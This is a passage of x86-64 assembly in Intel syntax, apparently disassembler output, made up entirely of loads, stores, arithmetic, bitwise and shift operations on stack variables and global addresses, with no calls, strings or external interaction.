mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
movsx eax, byte [rsp + 0x3b]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3e], al
mov rax, qword [0x140114180]
movzx eax, word [rax]
mov word [rsp + 0x878], ax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4e78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2958]
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x4b88]
mov ecx, dword [rsp + 0x29f0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4eb0]
mov qword [rsp + 0x4f00], rax
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x86c]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x34]
add eax, ecx
mov byte [0x140113006], al
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x874], ax
lea rax, [rsp + 0x3f]
mov qword [rsp + 0x4f08], rax
movzx eax, word [section..data]
movzx ecx, word [rsp + 0x85c]
or eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movzx eax, word [rsp + 0x878]
mov word [rsp + 0x87c], ax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4d58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4ee0]
mov qword [rsp + 0x4f10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f10]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2ae4], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x4f18], rax
mov eax, dword [rsp + 0x2af8]
mov rcx, qword [rsp + 0x4dd8]
mov qword [rsp + 0x4f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2a98], eax
lea rax, [rsp + 0x854]
mov qword [0x140114198], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3d]
and eax, ecx
mov byte [rsp + 0x3f], al
mov rax, qword [0x140114188]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov word [rsp + 0x854], ax
lea rax, [rsp + 0x850]
mov qword [rsp + 0x4f28], rax
mov rax, qword [rsp + 0x4db8]
mov rcx, qword [rsp + 0x4f00]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a88]
mov dword [rsp + 0x2afc], eax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x2a4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a20], eax
lea rax, [0x140114155]
mov qword [0x1401141a0], rax
movzx eax, word [rsp + 0x848]
mov word [rsp + 0x880], ax
mov rax, qword [rsp + 0x4eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov word [rsp + 0x87c], ax
lea rax, [rsp + 0x31]
mov qword [rsp + 0x4f30], rax
mov rax, qword [rsp + 0x4ed0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a], al
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov dword [rsp + 0x2b00], eax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b80], rax
lea rax, [rsp + 0x4c00]
mov qword [rsp + 0x4f38], rax
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x3e]
sar eax, cl
mov byte [0x140114155], al
movzx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x864], ax
lea rax, [rsp + 0x37]
mov qword [rsp + 0x4f40], rax
mov rax, qword [rsp + 0x4e58]
movsx eax, word [rax]
mov rcx, qword [0x140114158]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x34]
shl eax, cl
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x4e08]
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e60], rax
lea rax, [rsp + 0x2afc]
mov qword [rsp + 0x4f50], rax
mov eax, dword [rsp + 0x2a3c]
mov ecx, dword [rsp + 0x29f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
movzx eax, byte [rsp + 0x34]
mov byte [0x140114156], al
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3f], al
movzx eax, word [rsp + 0x880]
mov word [rsp + 0x884], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x840], ax
lea rax, [rsp + 0x36]
mov qword [rsp + 0x4f58], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e40], rax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x29d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ae4]
mov dword [rsp + 0x2b04], eax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4c58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e38]
movsx eax, word [rax]
mov rcx, qword [0x140114180]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14011301c], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, byte [rax]
mov byte [rsp + 0x43], al
movzx eax, word [rsp + 0x870]
movzx ecx, word [rsp + 0x874]
add eax, ecx
mov word [rsp + 0x848], ax
lea rax, [0x140113002]
mov qword [rsp + 0x4f60], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
and eax, ecx
mov byte [rsp + 0x33], al
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b00], eax
mov eax, dword [0x140114150]
mov dword [rsp + 0x2b08], eax
mov rax, qword [rsp + 0x4eb0]
mov rcx, qword [rsp + 0x4c68]
mov qword [rsp + 0x4f68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f68]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e08]
mov qword [rsp + 0x4f70], rax
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x840]
or eax, ecx
mov word [0x140113014], ax
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x32], al
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov word [rsp + 0x87c], ax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov word [rsp + 0x888], ax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x888]
sub eax, ecx
mov rcx, qword [rsp + 0x4de0]
mov word [rcx], ax
lea rax, [rsp + 0x4db8]
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a88]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
mov dword [rsp + 0x2b0c], eax
movzx eax, word [rsp + 0x854]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113020], ax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3b], al
lea rax, [rsp + 0x858]
mov qword [rsp + 0x4f80], rax
movzx eax, byte [0x140113003]
movzx ecx, byte [rsp + 0x31]
sub eax, ecx
mov byte [rsp + 0x34], al
lea rax, [rsp + 0x31]
mov qword [rsp + 0x4f88], rax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d58]
mov rcx, qword [rsp + 0x4d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
lea rax, [rsp + 0x4ed8]
mov qword [rsp + 0x4f90], rax
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2a98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov word [rsp + 0x88c], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39]
sub eax, ecx
mov byte [0x140114155], al
movzx eax, byte [rsp + 0x3a]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
lea rax, [rsp + 0x858]
mov qword [rsp + 0x4f98], rax
mov eax, dword [rsp + 0x2958]
movzx ecx, al
mov eax, dword [rsp + 0x2af4]
shr eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b80]
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x4e40]
movzx ecx, al
mov rax, qword [rsp + 0x4db8]
shl rax, cl
mov qword [rsp + 0x4cd0], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2a3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
lea rax, [rsp + 0x844]
mov qword [rsp + 0x4fa8], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
sub eax, ecx
mov byte [0x140113007], al
movsx eax, byte [rsp + 0x30]
mov rcx, qword [0x1401141a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f40]
mov byte [rcx], al
movzx eax, word [rsp + 0x860]
mov word [rsp + 0x890], ax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x35]
and eax, ecx
mov byte [rsp + 0x3c], al
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4e40]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4c00], rax
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
mov qword [rsp + 0x4fb0], rax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
lea rax, [rsp + 0x29d8]
mov qword [rsp + 0x4fb8], rax
movzx eax, byte [rsp + 0x33]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36], al
lea rax, [rsp + 0x87c]
mov qword [0x1401141a8], rax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov word [rsp + 0x894], ax
movsx eax, byte [rsp + 0x38]
movsx ecx, byte [rsp + 0x3f]
add eax, ecx
mov rcx, qword [rsp + 0x4f08]
mov byte [rcx], al
movsx eax, byte [rsp + 0x3e]
movsx ecx, byte [rsp + 0x40]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0x4fc0], rax
mov eax, dword [rsp + 0x2af0]
mov ecx, dword [rsp + 0x2a98]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae0], eax
mov eax, dword [rsp + 0x2a20]
mov dword [rsp + 0x2b10], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x4f98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
shl eax, cl
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [0x140114157], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov word [rsp + 0x898], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x35], al
movzx eax, word [rsp + 0x874]
mov word [rsp + 0x89c], ax
movsx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x4e58]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x4f00]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4fc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fa0]
mov qword [rsp + 0x4fc8], rax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x29d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
mov dword [rsp + 0x2b14], eax
movsx eax, byte [rsp + 0x43]
movsx ecx, byte [rsp + 0x39]
sub eax, ecx
mov byte [0x140114155], al
movzx eax, byte [rsp + 0x3a]
movzx ecx, byte [rsp + 0x31]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
movzx eax, word [rsp + 0x848]
mov word [rsp + 0x8a0], ax
movsx eax, byte [rsp + 0x3d]
movsx ecx, byte [rsp + 0x39]
and eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [0x140114180]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov qword [rsp + 0x4fd0], rax
mov rax, qword [rsp + 0x4e48]
mov ecx, dword [rsp + 0x2b00]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov dword [rcx], eax
lea rax, [rsp + 0x4b78]
mov qword [rsp + 0x4fd8], rax
mov eax, dword [rsp + 0x2a4c]
mov ecx, dword [rsp + 0x2ae8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b04], eax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x854]
add eax, ecx
mov word [0x140113020], ax
mov rax, qword [rsp + 0x4f08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x32], al
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov word [rsp + 0x8a4], ax
movzx eax, word [rsp + 0x884]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
lea rax, [rsp + 0x41]
mov qword [rsp + 0x4fe0], rax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4bf8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cb8], rax
mov eax, dword [rsp + 0x2b00]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shr eax, cl
mov rcx, qword [rsp + 0x4e48]
mov dword [rcx], eax
lea rax, [rsp + 0x2b10]
mov qword [rsp + 0x4fe8], rax
mov rax, qword [rsp + 0x4f00]
mov rcx, qword [rsp + 0x4ef8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fc0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113024], ax
movzx eax, word [0x140113014]
mov word [rsp + 0x8a8], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov rcx, qword [rsp + 0x4f58]
mov byte [rcx], al
movzx eax, byte [0x140113006]
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x4e78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4e50], rax
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0x4ff0], rax
mov eax, dword [rsp + 0x2b0c]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b08], eax
lea rax, [rsp + 0x2af8]
mov qword [rsp + 0x4ff8], rax
movsx eax, byte [rsp + 0x3e]
movsx ecx, byte [rsp + 0x3f]
and eax, ecx
mov byte [0x140113012], al
movsx eax, word [0x14011301c]
movsx ecx, word [rsp + 0x878]
sub eax, ecx
mov word [rsp + 0x88c], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x880]
add eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4fe0]
movzx eax, byte [rax]
mov byte [rsp + 0x45], al
movsx eax, byte [0x140114154]
movsx ecx, byte [rsp + 0x3f]
sub eax, ecx
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x5000], rax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b20]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov eax, dword [rsp + 0x2b10]
movzx ecx, al
mov eax, dword [rsp + 0x2b04]
shl eax, cl
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4fb8]
mov eax, dword [rax]
mov dword [rsp + 0x2b18], eax
mov rax, qword [rsp + 0x4f28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8a4]
sar eax, cl
mov rcx, qword [0x1401141a8]
mov word [rcx], ax
movzx eax, word [0x140113024]
movzx ecx, word [rsp + 0x848]
xor eax, ecx
mov word [rsp + 0x888], ax
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [rsp + 0x46], al
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x860]
and eax, ecx
mov rcx, qword [rsp + 0x4f80]
mov word [rcx], ax
movzx eax, word [rsp + 0x854]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov dword [rsp + 0x2b1c], eax
mov rax, qword [rsp + 0x4d58]
mov ecx, dword [rsp + 0x2b08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29bc], eax
lea rax, [rsp + 0x4ce8]
mov qword [rsp + 0x5008], rax
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fa0], rax
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113006], al
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0x31]
sub eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x47], al
movsx eax, word [rsp + 0x890]
movsx ecx, word [rsp + 0x84c]
add eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
lea rax, [0x140113008]
mov qword [rsp + 0x5010], rax
mov eax, dword [rsp + 0x2ae8]
mov ecx, dword [rsp + 0x2ae4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b08], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2a88]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x29d8], eax
lea rax, [0x140113004]
mov qword [0x1401141b0], rax
lea rax, [rsp + 0x8a0]
mov qword [rsp + 0x5018], rax
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x898]
shl eax, cl
mov word [rsp + 0x844], ax
lea rax, [rsp + 0x45]
mov qword [rsp + 0x5020], rax
mov rax, qword [rsp + 0x4f40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x2ae8]
movzx ecx, al
mov eax, dword [rsp + 0x2a20]
sar eax, cl
mov rcx, qword [rsp + 0x4fe8]
mov dword [rcx], eax
lea rax, [rsp + 0x2a88]
mov qword [rsp + 0x5028], rax
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x4e60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5000], rax
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0x5030], rax
movzx eax, byte [rsp + 0x31]
mov rcx, qword [rsp + 0x5020]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x45], al
movzx eax, word [rsp + 0x84c]
mov word [0x1401141b8], ax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
movzx eax, word [rsp + 0x89c]
mov word [rsp + 0x8ac], ax
movzx eax, word [0x140113020]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4f50]
mov eax, dword [rax]
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cb8], rax
mov eax, dword [rsp + 0x29bc]
mov dword [rsp + 0x2b24], eax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x3c]
mov rcx, qword [rsp + 0x4f88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x31], al
mov rax, qword [0x1401141a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x87c]
add eax, ecx
mov word [0x1401141b8], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov word [rsp + 0x8b0], ax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
lea rax, [rsp + 0x38]
mov qword [rsp + 0x5038], rax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4fc8], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2ae4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aec], eax
mov rax, qword [rsp + 0x4db8]
mov qword [rsp + 0x5040], rax
mov rax, qword [rsp + 0x4fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x49], al
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x880]
shl eax, cl
mov word [0x140113020], ax
movsx eax, word [rsp + 0x87c]
movsx ecx, word [rsp + 0x860]
sar eax, cl
mov word [rsp + 0x858], ax
movzx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov byte [rcx], al
movzx eax, byte [rsp + 0x3d]
mov byte [rsp + 0x4a], al
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov dword [rsp + 0x2b28], eax
mov eax, dword [rsp + 0x2a98]
mov ecx, dword [rsp + 0x2a88]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5000], rax
lea rax, [0x140113006]
mov qword [rsp + 0x5048], rax
movsx eax, word [rsp + 0x858]
movsx ecx, word [rsp + 0x850]
add eax, ecx
mov word [0x140113028], ax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x4f80]
movzx eax, word [rax]
mov word [rsp + 0x8b4], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x880], ax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x5050], rax
mov eax, dword [rsp + 0x2afc]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x5030]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov dword [rsp + 0x2b2c], eax
mov rax, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4c00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e40], rax
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x858]
add eax, ecx
mov rcx, qword [0x140114180]
mov word [rcx], ax
lea rax, [rsp + 0x848]
mov qword [rsp + 0x5058], rax
mov rax, qword [rsp + 0x5020]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov byte [rcx], al
movzx eax, byte [rsp + 0x35]
mov rcx, qword [rsp + 0x5048]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x4b], al
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4bd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4f00], rax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x5060], rax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4e08]
shl rax, cl
